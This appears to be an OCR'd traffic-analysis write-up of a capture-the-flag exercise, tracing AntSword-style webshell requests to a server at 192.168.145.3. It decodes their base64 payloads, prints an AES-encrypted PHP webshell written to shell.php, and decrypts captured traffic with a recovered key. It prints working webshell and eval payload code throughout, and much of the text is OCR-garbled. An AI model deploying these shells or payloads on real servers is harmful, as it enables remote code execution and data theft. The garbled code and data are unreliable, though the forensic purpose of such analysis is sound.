M Wireshark - i85 HTTP i (tcp.stream eq 1) - shellofAWD - O s

POST /index.php HTTP/1.1

Host: 192.168.145.3

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64) ApplelebkKit/537.36 (KHTML, like Gecko) Chrome/77.©.3865.120 Safari/
537.36

Content-Type: application/x-www-form-urlencoded

Content-Length: 970

Connection: close

_@x6aa40lad3c537=0GLluavezZXQoImRpc3BsYX1fZXIyb3JzTiwgI JALIKTEAC2V@X3RpbWVTbGltaXQoMCk7ZnVuY3Rpb24gYXN1lbmMolGo1dCl7ecmve@dXIuICR
vdXQ7fTtmdwsjdclvbiBhc291dHB1dCgpeyRvdXRwdXQob23fZ2vex2NvbnR1bnRzKCk7b2IFZWS5kX2NS ZWFUKCK7ZWNoby AT MMUWZIWI 1Y TUL0TI102V]aG8gQGF
ZZW5FKCRvAXRwdXQp0O2VjaG8gljYyZTgwMGEWIjt9b2Ifc3RhenQoKTtecn17IEQ9ZGlybmFtZSsgkX1INFULZFULSiUBNSSVBUX@ZITEVOQUIFI1@p021mKCREPTO
iTikkRD1kaXJuYW1lKCRTUOVSVKVSWYIJQQVRIX1RSQUSTTEFURUQiIXSk7IFI9InskRHOIIjtpZihzdWIzdHIOJEQSMCwWXKSESI181KXtmb3I1YIWNOKHIhbmd1KC]
DIiwiliIpYXMgIEwpaWyoaXNfZGlyKC17IEx90iIpKSRSLj@ieyRMfT0i0311bHN]eyRSLjO1LYI7FfSRSLjO1CSI7IHUIKGZ1bmN@aWwouX2vaaxNacygicGazaxh
TZ2veZWdpZCIpKT9AcG9zaxhfZ2vecHd1laWQoQHBvc214X2d1dGV1awWQoKskeIiI7IHMOKCRIKT8kdVsibmFtZsIdOkBnZXRTY3VycmvudF91c2VyKCk7IFIUPXB
0CF91bmFtZSgpOyRSLjeicXskc30i02vjaGegIFI7031jYXRjaCchFeGN1cHRpb24gIGUpe2VjaGegIkVSUk9S018vIiakzSe%2BZ2VeTWVzZ C2FNZSgp0307YXhvd
XRwdXQoKTtkaWUoKTs#%3D&ant=2XZhbChiYXNINJRfZGVjb2R1IKCRFUESTVFtfMHE2YWEGMDFhZDNJNTM3XSkpO2RpZSgpOw#3D%3DHTTP/1.1 200 OK

Date: Mon, 11 May 202@ ©8:39:56 GMT

Server: Apache/2.4.41 (Debian)

Vary: Accept-Encoding

Content-Encoding: gzip

Content-Length: 130

Connection: close

Content-Type: text/html; charset=UTF-8

2edebeass592/var /www/html / Linux kali 5.3.@-kali2-amde4 #1 SMP Debian 5.3.9-3kalil (2019-11-28) x86_64 Wi -
data62e300a0

base64f#i 5

>>> import base64

>>> s="ZXZhbChiYXNINjRfZGVjb2R1KCRFUESTVFtfMHg2YWEOGMDFhZDNjNTM3XSkpO2RpZSgpOw%3D%3D "

>>> s="ZXZhbChiYXNINJjRfZGVjb2R1KCRFUEOTVFtfMHg2YWEOMDFhZDNjNTM3XSkpO2RpZSgpOw=="

>>> base64.b64decode(s)

'eval(base64 _decode($ POST[_Ox6aad0lad3c537]));die();"

>>> t="QG1luaV9zZXQoImRpc3BsYX1fZXJyb3JIzIiwgIjAiKTtAc2VOX3RpbWVFbGltaXQoMCk7ZnVuY3Rpb24gYXN1bmMoJG91dC1l7cmVOdXJul
CRvdXQ7fTtmdW5jdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2JfZ2VOX2NvbnR1bnRzKCk7b2JfZW5kX2NsZWFuKCk7ZWNobyAiMmUwZWI1YTU10
TIi02VjaG8gQGFzZW5jKCRvAXRwdXQp02VjaG8gIjYyZTgwMGEWIjtOb2Ifc3RhcnQoKTtOcn17JEQ9ZGlybmFtZSgkX1NFU1ZFUlsiUONSSVBUX
©ZJITEVOQU1FI10p021mKCREPTOiIikkRD1kaXJuYW11KCRFUBVSVKVSWYIQQVRIX1RSQUSTTEFURUQiXSk7IFI9InskRHOIIjtpZihzdWIzdHIoJ
EQSMCwxKSE9Ii8iKXtmb3J1YWNoKHIhbmd1lKCIDIiwiWiIpYXMgIEwpaWYoaXNfZGlyKCI7IEx90iIpKSRSLjOieyRMfToi0311bHNl1eyRSLjOiL
yI7fSRSLjOiCSI7IHU9KGZ1bmNOaWIOuX2V4aXNOcygicG9zaXhfZ2VeZWdpZCIpKT9AcG9zaXhfZ2VOcHd1aWQoQHBvc214X2d1dGV1aWQoKSk6I
iI7JHMOKCR1KT8kdVsibmFtZSIdOkBnZXRfY3VycmVudF91c2VyKCk7IFIuPXBocF91bmFtZSgpOyRSLjOiCXskc30i02VjaG8gIFI7031jYXRja
ChFeGN1cHRpb24gJIGUpe2VjaG8gIkVSUk9S0i8vIidkZS0%2BZ2VOTWVzc2FnZSgp0307YXNvAXRwdXQoKTtkaWUoKTs="

>>> base64.b64decode(t)

'@ini_set("display_errors", "0");@set_time_limit(@);function asenc($out){return $out;};function asoutput(){$outp
ut=ob_get_contents();ob_end_clean();echo "2e@ebea5592";echo @asenc($output);echo "62e800a0";}ob_start();try{$D=d
irname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}\t";if(substr($D,0
,1)!1="/"){foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";}else{$R.="/";}$R.="\t";$u=(function_exists
("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";$s=($u)?$u["name"]:@get_current_user();$R.=php_uname();$
R.="\t{$s}";echo $R;;}catch(Exception $e){echo "ERROR://".$e-6\x05\x9d\x95\xd15\x95\xcd\xcd\x85\x9d\x94\xa0\xasd\
xed\xf4\xed\x85\xcd\xbd\xd5\xd1\xc1\xd5\xd0\xal\xa4\xed\x91\xa5\x94\xa0\xad\xec"

ant ZHEPAT _ex6aad01ad3cs37 RENE, ZSHMAIIT T EEXHBEULRARFE BN G, SEET I,
3 " A postHUE At R KUK £ 1R 1



_@xcd5e022894314=QG1uaV9zZXQoImRpc3BsYX1fZXIyb3IzTiwgIjAiKTtAC2VOX3RpbWVFbG1taXQoMCk7ZnVuY3Rpb24gYXN1bmMoIG91dC1
7cmvedXIuICRvAXQ7FTtmdW5jdGlvbiBhc291dHB1dCgpeyRvAXRWAXQ9b2IFZ2VeX2NvbnR1bnRzKCk7b2IFZW5kX2NsZWFuKCk7ZWNobyAiMTd
kYzIzIjtlY2hvIEBhc2VuYygkb3VecHVEKTt1Y2hvICImODkwMzU1ZDNGIjt9b2Ifc3RhcnQoKTtocn17IGYOYmFzZTYOX2R1Y29kZSgkX1BPULR
bImo2Y3jM2ZjUXNmQxYWRMI1@pOyRjPSRFUESTVFsib2MANGgzMWY30WVINZIiXTskYz1zdHIFcmVwbGFjZSgiDSTsIiIsIGMpOyRjPXNOC19yZXB
SYWNIKCIKIiwiIiwkYyk73GI1Zj0iIjtmb3I0IGkoMDskaTxzdHIsZW40IGMpOyRpKzOYKSRidWYUPXVybGR1Y29kzZSgiISIuc3Vic3RyKCRILCR
pLDIpKTt1Y2hvKEBmMd3IpdGUoZmIwzZW4oIGYsImEiKSwkYnVmKT8iMSI6IjAiKTs7FWNhdGNOKEVAY2VwdGlvbiAkZS17ZWNobyAiRVIST1I6LYS
iLiRILT5nZXRNZXNzYWd1KCk7FTthc291dHB1dCgpO2RpZSgpOws,3D%3D&ant=2XZhbChiYXNINjRFZGVjb2R1KCRFUESTVFtFMHhjZDVIMDIyOD
k@MzE@XSkpO2RpZSgpOw%3D%3D&j6b36F516d1adf=L3Zhci93d3cvaHRtbC9zaGVsbC5waHA%3D&0C86831F79ec72=3C3F7068700DOA406572
726F725F7265706F7274696E672830293BODOA73657373696F 6E5F737461727428293B0DOA69662028697373657428245F47455458277061
7373275D29290DOA7BODAA208202020246B65793D737562737472286D643528756E697169642872616E64282929292C3136293B0D0OA202020
20245F53455353494F4E5B276B275D3D246B65793B0DAA202020207072696E7420246B65793BODBA7DADOA656C73650D0A7BODAA26202020
246B65793D245F53455353494F4E5B276B275D3BODOAB924706F 73743D66696C655F6765745F636F6E74656E747328227068703A2F 2F696E
70757422293BBDOAO969662821657874656E73696F6E5F6CE6F6164656428276F 70656E73736C2729290DOAR97BODOARI0924743D22626173
6536345F222E226465636F6465223B8DOAO90924706F 73743D24742824706F 73742E2222293B0DOARIG90DOARIGI666F 722824693D303B24
693C7374726C656E2824706F7374293B24692B2B29207B0DOA202020200909092024706F 73745B24695D203D2024706F 73745B24695D5E24
6B65795B24692B312631355D3B200D0A202020200909097DODOAG97DBDOAR9656C73650DBA097BODBABI0924706F 73743D6F 70656E73736C
5F646563727970742824706F73742C2022414553313238222C20246B6579293B0DBAG97DADBA202062020246172723D6578706C6F64652827
7C272C24706F7374293BODOA202020202466756E633D246172725B305D3BODAA2020202024706172616D733D246172725B315D3B0DBA0I63
6C61737320437B7075626C69632066756E6374696F6E 205F5F636F6E73747275637428247029207B6576616C2824702E2222293B7D7DODOA
P9406E657720432824706172616D73293BODOA7DODOA3F 3E

=4 postiEa

POST /index.php HTTP/1.1

Host: 192.168.145.3

Accept-Encoding: gzip, deflate

User-pgent: Mozilla/5.8 (Windows NT 16.0; Win64; x64) AppleWebkKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.12@ Safari/
537.36

Content-Type: application/x-www-form-urlencoded

Content-Length: 2176

Connection: close

_ 9xcd5e022894314=061uaVozZXQoIMRpc3BsYX1FZXIyb31zIiwgI jAIKTtAC2VOX3RpbWVTbGltaXxQoMCk7ZnVuY3Rpb24gyYXN1bmMolGeo1dC17cmvedXIuICR
vdXQ7fTtmdwWsjdGlvbiBhc291dHB1dCgpeyRvdXRwdXQ9b2 1fZ2veX2NvbnR1bnRzKCk7b2 IfZWS5kX2Ns ZWFUKCk7ZWNobyAiMTdkYzIzIjt1Y2hvIEBhCc2VuYyg
kb3VOcHVeKTt1Y2hvICImODkwMzU1ZDNGIjt9b23fc3RhecnQoKTtOcn17IGYSYMFZZTYOX2R1Y29kZSgkX1BPULIRbIMo2YjM2Z jUXNMQXYWRMI1OpOyRjPSRTUES
TVFsib2MANJgzMWY30WVjNzIiXTskYz1zdHIfcmVwbGFjZSgiDSIsIiIsIGMpOYRIPXNOC19yZXBsYWNIKCIKIiwiTiwkYyk71G11Zj@iIjtmb3TI0lGkoMDskaTx
zdHJsZWA0IGMpOYRpKzOYKSRIdWYUPXVybGR1Y29kZSgiISTuc3Vic3RYKCRJLCRpLDIpKTElY2hvKEBmMd31pdGUOZmOwZIWA0IGYSIMELIKSwkYnVmKT8iMSI6T jA
iKTs7fWNhdGNOKEVAY2ViwdGlvbiAkZS17ZWNobyATRVISTIT6LY8iLIRILTSNZXRNZXNZ YWd1KCk7fTthc291dHB1dCgp02RpZSEpOW3D
%3D&ant=zXZhbChiYXNINFRTZGVjb2RIKCRTUESTVFtFMHhjZDV1IMDIyODkOMzE@XSkpO2RpZSEpOW3D
%3D&jeb3bf516d1ladf=L32hci93d3cvaHRtbCozaGVsbC5waHA
%3D&0c86831179ec72=3C3F7€68700D0A406572726F725F7265706F7274696E672830293BODOA73657373696F6E5F737461727428293BODRA69662028697
373657428245F4745545B277@617373275D29290D0A7BRDOA20202020246B65793D737562737472286D643528756E697169642872616E64282929292(C313
6293BGDBA20202020245F53455353494FAES5B276B275D3D246B65793B0DOA202020207072696E7420246B65793BBDOATDEDEA656CT3658DBATBAODOA20202
©20246B65793D245F53455353494FAE5B276B275D3B0DBARS24706F73743D66696C655F6765745F636F6E7A656E747328227068703A2F2F696E707574222
93BEDOABSE9662821657874656E73696F6ESFOCHF6164656428276F70656E73736C2729290D0ARS7BBDOABORS24743D226261736536345F222E226465636
F6465223B@DRAOSGO2A706F73743D247A2824706F73742E2222293B0DRABSG90DRARORO666FT722824693D303B24693C7374726C656E2824706F7374293B2
4692B2B29207BODOA2020202009090920247@6F73745B24695D203D2024706F73745B24695D5E246B65795B24692B312631355D3B280D0A2020202009090
97DeDOAG97DEDOAR9656C73650DRAR97BODRABORO24706F 73743D6F70656E73736C5F646563727970742824706F73742C2022414553313238222C20246B6
579293B0DBAES7DEDOA20202020246172723D6578706C6F646528277C272C24T706F7374293B0D0A202020202466756E633D246172725B305D3B8DOA20202
©2024786172616D733D246172725B315D3BODOARY636C61737320437B7@75626C69632066756E6374696F6E2@85F5F636F6E73747275637428247029207B6
576616C28247@2E2222293B7D7D@DRAR9406E657720432824706172616D73293B0DBA7DODRA3F3EHTTP/1.1 200 OK

Date: Mon, 11 May 2020 ©8:4@:15 GMT

Server: Apache/2.4.41 (Debian)

Content-Length: 17

Connection: close

Content-Type: text/html; charset=UTF-8

17dc2311890355d3c¢
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<?ini_set("display_errors", "@");@set_time_limit(@);
function asenc($out){return $out;};
function asoutput(){$output=ob_get_contents();
ob_end_clean();
echo "17dc23";echo @asenc($output);echo "f890355d3c";
}ob_start();
try{
$f=base64_decode($_POST["jéb36f516dladf"]); //data=/var/www/html/shell.php
$c=$ POST["0c86831f79ec72"];
$c=str_replace("\r","",%$c);
$c=str_replace("\n","",%$c);
$buf="";
for($i=0;%i<strlen($c);$i+=2)
$buf.=urldecode("%".substr($c,%$i,2));
echo(@fwrite(fopen($f,"a"),$buf)?"1":"0");;
}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();?>

RIUWERRENT —Ashell.php3C
ge Rl BEEe, ARG

<?php
@error_reporting(9);
session_start();
if (isset($_GET['pass']))
{
$key=substr(md5(uniqgid(rand())),16);
$_SESSION[ 'k']=$key;
print $key;
¥
else
{
$key=$ SESSION['k'];
$post=file_get_contents("php://input"); //base64
if(!extension_loaded( 'openssl'))
{
$t="base64_"."decode";
$post=$t($post."");

for($i=0;%i<strlen($post);$i++) {
$post[$i] = $post[$i]~$key[$i+1815];
¥
}

else

{
$post=openssl_decrypt($post, "AES128", $key);

}

$arr=explode('|"',$post);

$func=%$arr[0];

$params=$arr[1];

class C{public function __ construct($p) {eval($p."");}}
@new C($params);

?>

ZARIGRIRE pass SEIFF W E session[k] KME. TEZJERIHTH RS key # ¥ BN 91eelbfcafd27c90
FETFa, BRI TG



<?
@error_reporting(®);
function main($content) {
$result = array();
$result["status"] = base64_encode("success");
$result["msg"] = base64_encode($content);
$key = $_SESSION['k'];
echo encrypt(json_encode($result),$key); }
function encrypt($data,$key) {
if(!extension_loaded('openssl')) {
for($i=0;%i<strlen($data);$i++) {
$data[$i] = $data[$i]~$key[$i+1&15];
}

return $data;

else {
return openssl_encrypt($data, "AES128", $key);
}}
$content="6ac0a2bl-e69e-463e-8f1d-f19474de887f";
main($content); //WEF

?>

encrypt BE & oenssl_encrypt B datai#tiTaesin®E HiRH . F4HRNZ BT HTHI key=91eelbfcafd27c90
A LAM$E FH open_decrypt % . 15 EIAH M EIE .
BB BRI L, AEER, BEEEFRHBIMRADT

<?php

$key ="9leelbfc4fd27c90";
$post="3EniqqomALUsvYD+1PfchIrIQwEUi0Jt8zzJ7fH7Adx9Bqjo2f+7ZrD8MY3w01j18/1+cgwuXwMQXcVQKkRZik7C3Fff2EZLY1Uz+yfWXq
j8uBrDGoyVY4365zvITuXaH3k7zSkrOeY+/WrnWwIWHHNSUWG1wtpAtrkMXFfcZ2+fFN740YWzYCLO9/pzLmn7+NehQhccZSraJtYF9sX5XAN20M
CuiT/ufpolS6rgd4hzoKKXYiRESLTmurt/fFK9rXp4/moLe2yNIrjie9ilv2dvEtFpZ02rilVteIgyoWIOckKPgGWL60PIFEHZITXHzHcPddbIT4
GOPaa@mj4tIPRFEVW5UuO03BwEHZz130XhVthCakicqcTdA36WbzEakzs3vDDYqDgHQFETodKDSxzx5dBpI3y8XntkxTaGIQ391Hm9eluAAHzas52
d5IK6hsuzW2A+rBtxWrMdrqLHE2TBiq64vhCzdU+7PKsDIqfSNA258CQGob155/NOLkQXdFepMOpTqifibF2nMvwXM+Sipl1Zt21Sn185AxvDfba+
XmuruFEKmWKRstcx10j6Stsj40GSyf1VO19XYQP7gHrobbPWCFLG1yuOH7Gn/wWTI13TR36XAL4dVOFTSAFUMITINCTi+7Z3u2r5eJJs5himmI4PN
Ly21Y7Iqlbu/N4UigihTaVk7nXJywVMRKPyBs4eChxM9SQvOnDoKVwTfyakuibOL8pgRew50g9itGxI5GTkvYqpxfNt4261IDCZ5bdyIWLItVUSZ
YBA9VuOi/m7bJ3eahbNW3B+LG3gq3INUgISLy/xMzIWBjHhx8CbEoxcez1W4An73JEEKVRMiiE9/AyXyLMo2BGSAFQF/FKcqYznyYYSJedD+IUF6qo
T3CmTfuAZeFIzTxio/ROPIJWXbITHb+3Qrilu5eD18CrICS/RbXSdnfpFOvsIROGcy3BuLdMC4/hgH1Ftkmp+/EWZviOS/M1IN8NeVNya6LXBfthfJ
92ATcH4mjpva43qQd1RGMC66bqPNWFOD3nGVhfPgfF1tb3+33V6bzthS+BqgLt010Qo7grRzX4tqbkWOSkX7ATOVXIMUUkp8DNZ2IzHNVIW3uA=="
5
$d2="5U+SI03pbtOCXFM7gLAX3xT7q0qDPFaCK81NevS6NrkBI18cRXb1l6IVdxPckdx9XXq7a2+7BX9SFCdhXFjQWi9TaTSR1+mgveff{q7jSRH6
ByKQhRjOpdxbBqwxoyC/u";
$d3="3EniqqomALUsvYD+1PfchA4Ajancd2pPnyCE8isV/knwW29CujT+fmXLjfz5palXXRMY3tze3Y/9FIdUMeTxLSjkfx58RMODRVi8RWLFdR1K
h+cAitE7QFs81VN3tqYHqgx/xbSWjo3CRcoBrqSJrZzEJLWFd5yWHhPXVHAVAONTnvxCvh/TWz77GkVOHFOwWHr1qrMupzqSHn77pY8ReRZ6pUHDVF
9LYC9/Hyn07qqs2C5722q9Ya04CVVQXPJIfRMebyofEeS/hZcs77Ao0diVfhZFtQnA403bJjDgMWuyyEhYVguss/g66HQ99Z2pORIWFfTIoGXxZ1vR1/0
w2gx51NXL867FSbHWgzzWZR+Sce+DMwXxQRERLM70hRWDSFT/4tq7Df+04A7HbFu8g0@OwOPr1VcRbfGyYSZiMgmD3xx+7YHko+7EVZqVBE/PRytts
/ROXe598BknhngikYDoRLGWtNfh1l/Vt6HY4wbqqubAX1UW4gc21Gkh7r5UXaPGlyGqrIvOe5KiadJLFeffHTDKPyY4qxY3VQCOgRskh5cBhfNwZB
S5LR9OKFgSnVOnLHASBxaXgzwPuufFCD7hwjCcWI7dZS1iR2VFhxegHIdH9tITP8JIFWZPrcOggdCLX2gEJo/g2HIGBWccmIF6ej40E/t2a0BNzx0w
wa+oW8yN+c/W+9yS+tDqTV6X1acqllPfT5m1J03Iaj7ySvfuwnlWzyWw]jviWwKvTw870wHqbrKQRiL8RodGvtPpNiSkYCT7trfLRH/BjviWxTewaN2m+
QmLP7P9/0ZWbL7XxnabxXP4zTC74GIfEUWQKjTMIpcHZVL1KDQRf/tUuRY6Zxa/uWgwylk7rfbnvl7s9e00dpZUgX0Y5gHo0h7R6BOekkOxA6syOV
NZs21jEk1z5rnySAhl++NNQZfV1a7NbDQbOFs5e5+BWVN7q7haHgqCgSwnybMzc9/Xr7hxZ4HFfPoNgK7g5xQCGXwM1vrM7UBN1vY2ppuvk6+s08GY
/74FEhUp7iodj6RqSrziyE5av4qtli5nTGHCNT8f406/ekNnEdp9XyBnDj5T7suD6WcWdQgqauudno6elEC2XVaIGm7RLD85RG7 rnvuDvVaYOS5IiF
KmGx7VYTWmGCAwQwXUF c jFRUr6Vmku4cbEzSHsYxLj4IIyxBo4qWYYKhhHfémuHKedwDStFzg7twlBg8uCBlBlaagQ4G3R7dxRA9eXspuvhNnble
LV71aKahp8ugQ3TOTSR+G9tzt7yaMDyQkeReJ7CofIumb8IW/SQEw113FSiihy@1jc4x6n+ZMkGqwoSpfZg4fD4ALvjdorZRI6IZuCKm2jwdMCIVD
NER588rXg7zNDYJh7xPDy7wkWFUC+IGiBDeQByube0q07VKe4J0s1IIFUGA46SEEBWRUtFWV80rJakKp/zSmx25Xb7cxDY+rxnjlAzVOW84sQbXiF
AhXgbfOFXKMOxXM/ROC/cPOYyfnffh4+JIv3B/DeKzRqIv5xXMTC38981AT906mhq5zH19//zUbQ80ONCYRK1huzzBSEELSDGDtnuB1G/P8aZUbliP
C6TBLIRLIgNRef8zAgi4TEOGLmMp1lqCQIFt5pV959RMgmqrI155xofWOdEHMINCDPASTOA217h1GzW09FGGIZkOdZmVtwlKqg+Ty4ialiiEJ7DxDXKH
633eUYXcSYMd75n8NkkfV2URourWdl/C/Z1WAwUSoI0GaeewQW1DhYYMHmeJt3fD+amINPdm5emjIZm1inhRROPMB197IPITvIkhjRHe8r12+RCV1
BpeFO4hWScroEyV4]1jCL7VOB660Y+qfXfgiNFaZzl6Avx+H6dRoex8ZAAyWIC16KmWVeAoaWqcCA/P/EOTfzUKO6EdMeH3Sjf1FcIdig51gexIfLoP
NOjKEoVT/nK9Q3BMVMEiX9t6HNWshF41iG444nk1k+ofkDQXpT/PyyKp9rqq2nzDKI6KxaR1wQn/KzxUpxuIOoghzpgQTSFtOw8TMVdZig7tye44v



bgGEeLU+KCz6PbLkQs110eEGjrs@ayMSun8Gd16MCnoxloeu2/VD5v]jclxiMgXIcgXRFhMSmI1lkgfsaNUXPhaY07GW960AtA86vsNaKzLvGc7EhF
OVA4UzQlndkioWgNUiphliKGwCSY2UupFYRiMOiQfyCewuqqyGOnga/BC53QBVORMXUR+9H7 r1K+HfgIIVWWLCcTKyzmerYE=";
$postl=openssl_decrypt($d2, "AES128", $key);

print($postl."\n");
$r3=openssl_decrypt($d3, "AES128", $key);

print($r3."\n");
$d4="7ZXJIyb3IfcmVwb3JI0aW5nKDApOWOKZnVuY3Rpb24gbWFpbigpIHsNCiAgICBvY19zdGFydCgpOyBwaHBpbmZvKCk7ICRpbmZvIDOgb23fZ2V
0X2NvbnR1bnRzKCk7IG9iX2VuZF9jbGVhbigpOwOKICAgICRkcm12ZUxpc3QgPSIiOwOKICAEIGImIChzdHIpc3RyKFBIUF9PUywid21uzZG93cyI
pfHxzdHIpc3RyKFBIUF9PUywid21ubnQiKSkNCiAgICB7DQogICAgICAgIGZvcigkaTO2NTskaTwO0TA7IGkrKykNCiAgICAJewOKICAgIAKIIGR
yaXZ1PWNocigkaSkulzovIzsNCiAgICAICWZpbGVfZXhpc3RzKCRkcml2ZSkgPyAkZHIpdmVMaXNOPSRkcm12ZUxpc3QulGRyaXZ1LiI7IjonJzs
NCiAgICAJFQOKICAgIHONCg11bHN1DQoJewdKCQkkZHIpdmVMaXNOPSIVIjsNCg1l9DQogICAgIGN1cnI1bnRQYXRoPWd1dGN3ZCgpOwOKICAEICS
vZWNobyAicGhwaW5mbz@iLiRpbmZvLiJcbiTuImN1cnJI1bnRQYXRoPSIuJGN1cnJI1bnRQYXRoLiJcbiIuImRyaXZ1TGlzdDOilLiRkecml2ZUxpc3Q
7DQogICAgIG9zSW5mbz1QSFBfTIM7DQogICAgIHI1c3VsdD1lhcnJheSgiYmFzaWNIbmZvIjo+YmFzZTYOX2VuY29kZSgkaW5mbyksImRyaXzZ1TG1l
zdCI9PmIhc2U2NF91bmNvZGUoIGRyaXZ1TGlzdCksImN1cnI1bnRQYXRoIjO+YmFzZTYOX2VuY29kZSgkY3VycmVudFBhdGgpLCIvcOluZm8iPT5
1YXNINJRFZW5jb2R1IKCRvcO1uZm8pKTsNCiAgICAvVL2VjaG8ganNvbl91bmNvZGUoIHI1c3VsdCk7DQogICAgc2Vzc21vb1l9zdGFydCgpOwoKICA
gICRrZXk9JF9TRVNTSU90WydrJ107DQogICAgLY91Y2hvIGpzb25fZW5jb2R1KCRYZXN1bHQpOWOKICAgIC8vZIWNobyBvcGVuc3NsX2VuY3I5cHQ
0anNvb191bmNvZGUoJHI1c3VsdCksICIBRVMxMjgil CAka2V5KTsNCiAgICB1Y2hvIGVuY3J5cHQoanNvb191bmNvZGUoIHI1c3VsdCksICRrZXk
pOwOKFQOKDQpmdW5jdGlvbiBlbmNyeXBOKCRKYXRhLCRrZXkpDQp7DQoJaWYoIWV4dGVuc21vbl9sb2FkZWQoJ29wZW5zc2wnKSKNCiAgICAJewd
KICAgIAkIZmOyKCRpPTA7IGk8c3RybGVUKCRkYXRhKTskaSsrKSB7DQogICAgCQkIICRKYXRhWYRpXSA9ICRKYXRhWyRpXV4ka2V5WyRpKzEMMTV
dOyANCiAgICAJICQ19DQoICQlyZXR1cm4gIGRhdGE7DQogICAgCXONCiAgICB1bHN1IDQogICAgCXsNCiAgICAICXI1dHVYbiBvcGVuc3NsX2VuY3]
5cHQ0JGRhdGESICIBRVMxMjgil CAka2V5KTsNCiAgICAIfQOKFQOKbWFpbigpOw=="";
$rd=openssl_decrypt($d4, "AES128", $key);

print($r4."\n");
$d5="3EniqqomALUsvYD+1PfchIrIQwEUi0Jt8zzJ7fH7Adx9Bqjo2f+7ZrD8MY3w01j1Hh+9c8ACVWAC8CaiCwmfWb7WkrF4MNbI6P8DfPRoCt ]
IEnE4rp@eM+0DWIN47cqolQapHSYBoHVDFwy+KORohahYtXPHGj8a/U7MW8ItzSTc1Dh2tZIn36sQvYAvrGjTyZYKUQ41HksPD+XMEomnSKO3F s+
asPq/bEr4Y9CcHNOpR/pbNzp26nVohgTQX76PbRNzHh7ul16QegdN/aYwRfDLY3MD5A8Fhbr/XghUeh+07hmyyxjY1UeE9Z8Hg8HWeI/5buqtkSy9
VuM+91RbtMWytLYCh92hNggIKjhRbIVIjQPOFYK1cOhorEMAQmyf1Fc6muUIF2I9mbeOQNCwwiviZyXNKqaJYVOM2r2SXZGxV/H3dD9fGkZ/tVbz
uVZuS5Au+gWtoaH5kb6tUkV/JABVagK2yalE+Eir6stknIijXy85fbrXoViOQC3rhWvc4jHmx3tS4BZfqlUgqZBsA7j2MGDSrwSiluqZboUTwXA8dY
BPXxINefdrKzbpxAS9EZ1pjSp5D+8TLgbPNN8Xdo+nLEXIpkFvLZTtWI+kwNzbHcC7ksPmYPkhs1o0K@jEGIPNs6YnSKPDV7gM6BQiQBnintY3fzz2
epJ5rNy6gNpaYXsaxyblR+dviltcWL6hzmmHYTps/2N1LtSceZ5iVE9ENgt8gi5nKyYKx02xLEujDqGHd+g+nde341ybFk2wP4gAyiABDcON6IK+
aUKJv93zzJalLotLebn2wgdTzvkACSxXpzxcMu2RZoH8DeTepMpTe+cmM2KVjRmR1d+eEKUV6FLgBRi4pLh22LNCOYgvB4AD9s49IP/cATccuRs4
YUEelXtSpgKbmgHvO6KvtWUWSGIk56/6mIl/x0kirCEOYWYR3BpozgKCA5COVIWTXTP40ejDRFMhXiwuGko2BCXsjJiXGR79nsvZFN3As9KQZDFq7
bVIiLg900VFsVjIF3inB2bYK7wirGqrBIbDy9PclhXLFFuFf5+QI00/pCzUs6t2f7DscjrQuTrAvwOkdMimICSWzEPczQUnvBNSP4IiiJyXJuUu/
ru9JaQgtelyFkU/hHvVNMvGCbcR6hmHQHU1LkIuSW83waETvSxOPO7tcLHK2UOSYyFhDzezF8I6in50nmNXn8/TAORNLIFSCiOS63FhLgpx21A7iKb
VFF2zbdLf00XPsVGQIVEQrmiLm5G1R9ui7GaZzTe6pboRpKNOjfraHLI7f1quMjDK81i+2BTvSzjT1sGLXRPb2SadvvytMGp51iyj9z1qTpItioOuT
1gEjclkiTIC+nCo2w@dcTI3TqEVQqd/+Tg+6RaZA4bOpABYdMjHajGbTX5+Zf6cyqpRDW25tKI/03hAS8ZgdbiPaXrF0+8mbVZYHFQmjz0OX2gHbIL
H6jJzsehItvEpl/Ula9rbrOi6nymXgqnz/6CQH7CZFEGBaawjXLZufHYPcwW2f6Pstfl6vcyAbil /H/mZ7GKvq8l017/Ipa9GlXkrd2vNXGiUgHcs
FrhMu@5NR68QWbgxrvGjecK5rBa0q0jZfYARS3WegXBS770KiRLSLTTMLVs2zF/6x2bc7V3yi7ufZnkIrzE8NZTYcOV/Zi0qQ13CcZadUVwadu/Kp
4g+1KXbfHAKIiecp4CFY+1zSd25TH3ROwoLwOLNIJytz17uF8+PNqQsjObTqKIbmozFMKFfOUSKUI6hveB54PwFRDAPqY4ISQyR2kuztnfmyAwDWh
sKEH310dPeSi+q@xhcnslbgClUwqOrZzjqwcpM423akhPV/5kmhshQsrTKGKmXbksrbds2ZwwtOXFXBd5c4rMIyyPyrFLcbO9UbZOMjOTNS14gKGTuL
135gA101MBwX37JRgfFQQGY6BBkIINjcvDtIMS6CEg+A0j10Pv2uewO1CX3Z/ffOwXUX20ZZHNANBZhEJi7BrE+AsydZTFg5ne+303vsSibofFN4A
pvOgOpBKt7uyIM/IKsdaikVCIMiY76HiVQCeCkbNITRyeMgXp8KoXtU7ARt9IdLPoeM8LbVMIEOXIcYCOVF5g0yR3625kBs3028niU@cpnOfrn55
Q+G5LyR4e//sWIv1l/W+wiSB4+36sYZVXxOwWZULW+8ZyWU8P1X2Nb2DdGr1NU3n9/d4WXf7/KjGdPW2aZf84YD/vHtxwc20ewa9bFREu7BgcGv5PB7
nNO14ETtixsQz0xjdZB+C+C35NT1qCV7nNfBN1+eNSwRDsYJabedp2yVrkAbEIINXYyVjmWOEpINipoDOIYAVb/vwB/@9r9NsoMZ2SkTSPfcC8X61
MipUXiucyHZs4itifXkHpUGznzypWqRO/mFkkeqiIUzcP1M7AmRI589pbsClKSel+YZ3W0409C1VPWFRObXEqKOjkK3CtjKW35dSVIszHkXyts6c
S8b8mwKXmHjXao0j93f+31t04eiFxpUcfoiyqRDgtOjK+wgHam+qI2gX51W0/z0vEh6]jc7KdDEp47yZRO1BMiLTbPZ5XBILXS9gN5PUSFTOyvsmIx
1gHK90gKez /Rwth/eTVMiV68GORZRt4NsvZ/fC/7F+yij+QURNwWHVV+IfrxYgHqTymNXmoCZXPt37yUSSulv87C0QdgSqRWTKAeLQjbpt7QreSwy
